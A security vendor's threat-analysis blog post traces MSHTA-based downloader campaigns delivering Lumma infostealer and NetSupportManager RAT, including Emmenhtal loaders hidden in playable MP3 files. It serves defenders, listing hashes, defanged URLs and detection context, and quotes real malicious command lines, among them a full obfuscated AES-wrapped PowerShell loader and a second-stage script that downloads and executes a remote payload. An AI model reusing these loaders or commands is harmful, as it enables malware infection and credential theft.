Detection Voyagers
|
4/22/2025
|
4 min read

The Sound of Malware

Kevin Zuk
Kevin Zuk

Analyst and Researcher, Anvilogic | Author

Kevin Zuk works with data scientists, researchers and detection engineers to train, tune and update systems that power Anvilogic’s Insights feature. He worked at JPMorganChase, Accenture, IBM and FireEye primarily in SOC, MSSP and Incident Response roles.
Categories
Threat Groups
Endpoint
LOL
Windows
KQL
SQL
SPL

Anvilogic has recently observed a large uptick in first stage downloaders that utilize MSHTA.exe. MSHTA.exe is a legitimate Windows system file known as a legitimate Windows system file known as Microsoft HTML Application Host. Often, but not always, the downloaders have a theme that entices the user to proceed or take action related to Cloudflare, reCaptcha or Ray. When executed, the downloaders often lead to a multi-stage infection chain with varying levels of obfuscation and uniqueness, including embedding the malware in a playable MP3 file.

Studying event and OS logs at our customers has allowed us to gain useful context around these recent campaigns and allowed us to link several clusters of activity. New activity often comes in waves, with new angles and methodologies being tested by attackers.

Anvilogic observed an uptick and new MSHTA trend beginning in August and continuing through September 2024. The structure of the commands were basic, with no detectable theme in naming convention. The URIs included files with no extension, or comment:

Atomic-level threat identifier (For Anvilogic customers & the GitHub community)

C:\WINDOWS\system32\mshta.exe hxxps://zone03.b-cdn . net/tr17
C:\Windows\system32\mshta.exe hxxps://mato-camp-v1.b-cdn . net/kesty
C:\Windows\system32\mshta.exe hxxps://getyourpages . com/downloads/t2
C:\Windows\system32\mshta.exe hxxps://tera17.b-cdn [.] net/tr17

Ultimately, whether a downloader is successful depends on how successful it is at running on a variety of system configurations and contexts. What makes MSHTA particularly potent for a first stage downloader is its ubiquity on Windows based operating systems and only having one required parameter: a URI with code to be executed. These downloader commands are portable, dead simple and effective. While we will later show that additional layers of complexity were added, these early infections often give useful information about what attackers may later attempt to do.

In the August and September instances, hxxps://getyourpages [.] com/downloads/t2 served up Sha256Sum: 073bf9e8fd710a361df3bfe3d7e8060606ea054ab86779e2da7b2190cc59a781. Virustotal reports this as a member of the Palebeam malware family, and was able to determine that the configuration contained the URI hxxps://getyourpages . com / downloads / tera2.zip as shown below:

Virustotal’s parsing of ae444e299353e6a9f669ff784cb075ed - Palebeam Configuration

The tera2.zip file had a Sha256 of 74fb85f85c08ed074ff5cb7261161c163220d23c23502b427d6372cd73ae1f06 and clocked in at an abnormally large 9.56MB. Another noteworthy piece of information here are the detections, there is a consensus that this sample is the Lumma infostealer:

Virustotal Results for Sha256: 74fb85f85c08ed074ff5cb7261161c163220d23c23502b427d6372cd73ae1f06 show Lumma verdict.

It’s worth noting that Lumma almost always comes with additional files that serve to bloat the size of the file, but are not malicious. For the tera2.zip file mentioned above, the only malicious file appeared to be a file named 0DollarERP.exe (sha256sum: bbcf22aa482ee7f3cf7d9defdad1df591e354264609814a62d4b3fb42bb5ecbe) , which is capable of infecting hosts separate from the additional, sizable old and benign files included with it:

tera2.zip archive contents, showing the presence of benign files included with the Lumma variant bbcf22aa482ee7f3cf7d9defdad1df591e354264609814a62d4b3fb42bb5ecbe (0DollarERP.exe)

0DollarERP.exe interestingly connects to a profile page on the gaming platform steam (steamcommunity.com/profiles/76561199724331900) that contains encoded data:

Steam profile containing encoded data

Using cyberchef’s “ROT13” tool with an “Amount” value of 15 reveals URLs:

Results of Cyberchef’s ROT13 tool on encoded steam profile data

Ray-Verify and the NetSupportManager RAT

In late October, we observed the first instance of a new pattern: MSHTA downloaders purporting to contain a “Ray Verification ID”:

Anvilogic Detections

mshta.exe hxxps:// forthedoglover [.] com /Ray-verify.html #     ✅ ''Verify you are human - Ray Verification ID:  6456''"
mshta.exe hxxps://tekascend [.] com/Ray-verify.html #     ✅ ''Verify you are human - Ray Verification ID:  1437''"
mshta.exe hxxp://mwnetwork [.] biz /Ray-verify.html #     ✅ ''Verify you are human - Ray Verification ID:  3058''"

“Ray Verification ID” process command lines observed starting late October 2024

The “Ray Themed” downloaders had a common chain of infection. First, they pointed to malformed HTA files named /Ray-verify.html, which once decoded led to a batch of second-stage URIs:

hxxps:// forthedoglover [.] com /Ray-verify.html -> hxxp://traversecityspringbreak [.] com /o/o.png
hxxps://tekascend [.] com/Ray-verify.html -> hxxp:// goaccredited [.] biz/o/o.png 
hxxps:// forthedoglover [.] com /Ray-verify.html  -> hxxp://traversecityspringbreak [.] com /o/o.png

Ray first stage ray-verify.html files and their targets.

The formatting of these second stage download locations differs from other clusters of activity around the same time and always delivers variants of the same payload: the NetSupportManager RAT.

The earliest example we identified of NetSupportManager, Sha256: 63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8. True to form, the earliest sample gave us some useful clues. It contacted `geo [.] netsupportsoftware [.] com` which serves to advertise the software as a legitimate remote access solution:

NetSupportManager website present in earliest sample

Samples of NetSupportManager identified in the wild included

hxxp:// traversecityspringbreak [.] com/o/9.png -> 63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8
hxxp:// goaccredited [.] biz/o/o.png -> 06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268
hxxp://tekascend [.] com/a/b.png -> b91fcd8501f5e5458675c9f07d5eadeee62b53eb2638fee5da9f48a8f44abd3b

NetSupportManager Samples and their download locations

Changing Downloaders and Payloads

Beginning late December 2024 a few new trends emerged simultaneously, continuing until today - a new second-stage downloader and new Lumma payloads appeared with a new powershell wrapper. Prior to this, the second stage of most download paths were handled by a PE based downloader named Palebeam:

Initial URL - Palebeam Download Palebeam Sha256Sum Next Stage Download Location
hxxps://zone03.b-cdn [.] net/tr17 8675279a71112ea37a075c4df96a516177c08117f193f4c12faaca11eb8a6677 hxxps://zone03 [.] b-cdn [.] net/ tera17.zip
hxxps://getyourpages [.] com/downloads/t2 073bf9e8fd710a361df3bfe3d7e8060606ea054ab86779e2da7b2190cc59a781 hxxps:// getyourpages [.] com/downloads/ tera2.zip
hxxps://mato-camp-v1[.]b-cdn[.]net/kesty 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a hxxps:// campzips1.b-cdn [.] net/ U1.zip

Palebeam PE Downloader download locations and second stage download locations

The Emmenhtal downloader is essentially a two-layer powershell script: the first layer contains a ciphertext with embedded AES key. The ciphertext is decoded by powershell at runtime and execution is passed to it after decoding is complete. Here’s what the first layer looks like:

Anvilogic Detections

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 1 -ep Unrestricted -nop function CijC($DimRSpi){-split($DimRSpi -replace '..', '0x$& ')};$Nqsh=CijC('A18EE0207C545302B72F45DF70FF796E8903BEFCC3AD2FCB0E761DE2412A289D4C550258A486F062128ED8326775AAA7711270EEFDB28019F3BE9311CE16664BE4D0FFB477B7E2205F748257AFEBF3C97D8BD5222241E09EEAE703CE7CDD20E4B0A5A71D0AE014C20429EA4BE9ADE2A1CE0E7A8BFB30EAF0A172EE4E6A7E62F3A02C2B1FCC8415DE11FF9D64F01501643E699AF97F46E0C746D3D41238BBD3962A8CE0179293E7BBD45D36C372CA30915BDFACB1C149D720F2C1096474FC2BB67FD8AC590206BD198CB170F5D8CF1B1DE02121554E580EF88AA727CB03EB0835C1580CC7583871263900098CF769AB43931B9BDF8FAB4B2AF22EF3913321343199A425FD3A80324D42423D6F428C9170B9C18230F6863B2E607242054E28BAB737F3193913E10BF665A87D669C9DF6FA0D869CB9232BD009DB9985E453607E2FC2C3AEE8D4A701E9692C081FC217F7C244800F57AF6B68939D2DEC2E0A3036F1BD81AE3F64CF2CD2987E4E574C3FE423C2E17C32FF309A35518982992B1A7EE5A0812FEB37F21D4DF4A76B80F738D5CF6743CFDF814F4B2C89E3E56A0C88685861AF2CC18DB8DD88085C017EDE34A1FE1DBED3691E67C54D4F6C924DEC57FFAA734219BBA260C9D561CCE03FACF031BC1B560B5A2C7783E86FDEF3F3BEF20B824E1BA3E305BDAB0D27A2C49494B4A8A11BFA9B7F1F987FF21B51CDA21A1639864733CB19A1A2A659E0331FF883569FE426F358D3AF37CC6551FCFDB1A5FC84E83A569A7D54D2654274E9C6C3AFF80AFCE33BADE2C1ECBD36150D38DAF68F6D255AC3DEBAD5FF3B27867881EF1034970D2D47A3F1F647B3A011506DA813B72A211799C39949B9195A9550583121BE1002142B33E74C4D088E609CF695E217FA732599938DE2BCE0BCA9C61338FCCBA3D68BB41FF4B102A8D263C4B11A24FEF767F6A152A53A1E6DE6559E062AC45C4A8B03999FD8B14647CC8FB29FCE08EB8E9185C4DA959E465D52975FA86D13F3693A00512E16E27D16886FC255AD236A79D3A73CADEA3712846B1759D65DF9C6EDBBB99B85C30D06B66C4139BCEE35A63835C44757AE7844DD2BE8A6E8ED2C4030CC269986FA1B9F46D25681F5E92B46015F6DB9649A507BE0F471CE6B6FA020558AAB31D6E3CCFA3C6D7CBDBA2AC950069588B74E8BD96758CF6FBA634F52EA4A806A0FC812DECC823EB18C32AD3EC9530A2E8491776A6B1D897E4B5C436FAA37B32862C0B54E800846DA29CB9D625F27DC978E54B8B790CF007263EA774F82D0C5DAF0CC3F660DCFB73F2C20996E934EE5A75F45911606E6B07B9674BE670A1690');$RjYEaMLuZ=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((CijC('416B7652685A635669524E7976547165')),[byte[]]::new(16)).TransformFinalBlock($Nqsh,0,$Nqsh.Length)); & $RjYEaMLuZ.Substring(0,3) $RjYEaMLuZ.Substring(3)

Emmenhtal first layer script contents, from Sha256: 034694376c291c82789e7dc2c8771a4dff47c1c447f2ea7427edb968f480fa71

The second stage more closely resembles a traditional unobfuscated powershell download, although there is typically light obfuscation in the second layer as well:

Anvilogic Detections

"C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w h -ep Unrestricted -Command SI Variable:\p 'hxxps://kangla [.] klipxytozyi [.] shop/kangarooing.bmp';item *z;SI Variable:\Yj (&(Get-Variable E*tex*).Value.(((Get-Variable E*tex*).Value|Member)[6].Name).(((Get-Variable E*tex*).Value.(((Get-Variable E*tex*).Value|Member)[6].Name).PsObject.Methods|?{(GV _ -ValueOnl).Name-ilike '*lets'}).Name).Invoke('*w-*ct')Net.WebClient);.(Get-Item Alias:\*EX) (GCI Variable:/Yj).Value.((((GCI Variable:/Yj).Value|Member)|?{(GV _ -ValueOnl).Name-ilike '*nl*g'}).Name).Invoke((ChildItem Variable:/p).Value)

Emmenhtal second layer script contents, from Sha256: 034694376c291c82789e7dc2c8771a4dff47c1c447f2ea7427edb968f480fa71

In addition to Emmenhtal, the final Lumma payloads began to be encrypted using a powershell wrapper:

Source Encrypted Lumma Sha256Sum
hxxps://w3 [.] klipkunefia [.] shop/Chopin.eml 97d7bd45ebf241ca05b665a351fb3734ef8cca92780df1ea2aeace7b70157b2d
hxxps://bit [.] glitchtaskprovolone [.] shop/2e7eb1d37d499ce28a1ac60266ef75f4 62a9263874cc82a152ae095745b0f1ef3590fe81a5fe69af2991bb075ed22dc0
hxxps://kangla [.] klipxytozyi [.] shop/kangarooing.bmp 2edc50c9c12f4ef8436984706c8135827f660ddd08672f44d9ecf57d456767db
hxxps://scionoutmatchsmoked [.] shop/b313d4a4588bd2e7bc9ece877caba58a.png 49c4f9918cf0ae41e60dd83834a7130b96379eb254cd2eee180ed20ead1deed9
hxxps://fy [.] klipxytozyi [.] shop/minikinly.pnx 0e5c5113b9f91bf5f92faf45fbf0481c5d8e4466679e916ddda0e79a9a672d22
hxxp://rcsn.liveview [.] pw/singl5.pptx 13950ff48c7b03bf61736607ceac009cabe46cfa90108cf5912e76f68231cbed
hxxps://brit [.] mindful-journal [.] shop/alisa.png 0805312413cdcc97777c4a6743989bc89392bcc96581cf06b2428d3392717209

The Sound of Malware

The most interesting theme of Emmenhtal that we observed in our telemetry data involved audio themed HTA files:

Emmenhtal Sha256Sum Source Song (links are safe)
6fc41e727cc16e0889a2731622181eba0d3ed3fdcfb67bb05364eee637d4cd55 hxxp ://incognito [.] uploads [.] it [.]com The River
09f96ac670e6ad8ac0b631104fd16f5def5cfc7c95b1d9d0c6bc273d01f55afe hxxp://text [.] cherry-pink [.] shop Wanting and Waiting

When Emmenhtal used audio based file types, it contained enough legitimate content to partially load in our sandbox and play audio:

Emmenhtal Sha256: 6fc41e727cc16e0889a2731622181eba0d3ed3fdcfb67bb05364eee637d4cd55 elicits media player to load partial .hta file

Shown above, our sandbox loaded the Emmenhtal hta file 6fc41e727cc16e0889a2731622181eba0d3ed3fdcfb67bb05364eee637d4cd55 as an audio file. This behavior indicates that there is enough structure left of a legitimate audio file to be loaded as one. The file was 6.65MB, a size reasonable for an MP3 file but quite large for malware. The file had the magic bytes 49 44 33 which indicates a “MP3 file with an ID3v2 container” but contains malicious content loadable by MSHTA.exe as well. 

Anvilogic Detections

Check Out Kevin's Previous Workshops on Detection Engineering Dispatch